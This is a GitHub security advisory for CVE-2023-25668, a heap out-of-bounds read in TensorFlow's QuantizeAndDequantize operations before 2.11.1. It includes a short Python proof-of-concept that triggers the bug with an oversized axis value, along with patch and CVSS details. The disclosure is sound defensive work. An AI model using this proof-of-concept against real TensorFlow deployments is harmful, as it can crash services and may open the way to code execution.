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TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation

Critical severity GitHub Reviewed Published Mar 24, 2023 in tensorflow/tensorflow • Updated Mar 27, 2023

Package

pip tensorflow (pip)

Affected versions

< 2.11.1

Patched versions

2.11.1
pip tensorflow-cpu (pip)
< 2.11.1
2.11.1
pip tensorflow-gpu (pip)
< 2.11.1
2.11.1

Description

Impact

Attackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE.
When axis is larger than the dim of input, c->Dim(input,axis) goes out of bound.
Same problem occurs in the QuantizeAndDequantizeV2/V3/V4/V4Grad operations too.

import tensorflow as tf
@tf.function
def test():
    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],
    								   input_min=[1.0],
    								   input_max=[10.0],
    								   signed_input=True,
    								   num_bits=1,
    								   range_given=True,
    								   round_mode='HALF_TO_EVEN',
    								   narrow_range=True,
    								   axis=0x7fffffff)
test()

Patches

We have patched the issue in GitHub commit 7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

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References

@pak-laura pak-laura published to tensorflow/tensorflow Mar 24, 2023
Published to the GitHub Advisory Database Mar 24, 2023
Reviewed Mar 24, 2023
Published by the National Vulnerability Database Mar 25, 2023
Last updated Mar 27, 2023

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

0.145%
(52nd percentile)

CVE ID

CVE-2023-25668

GHSA ID

GHSA-gw97-ff7c-9v96

Source code

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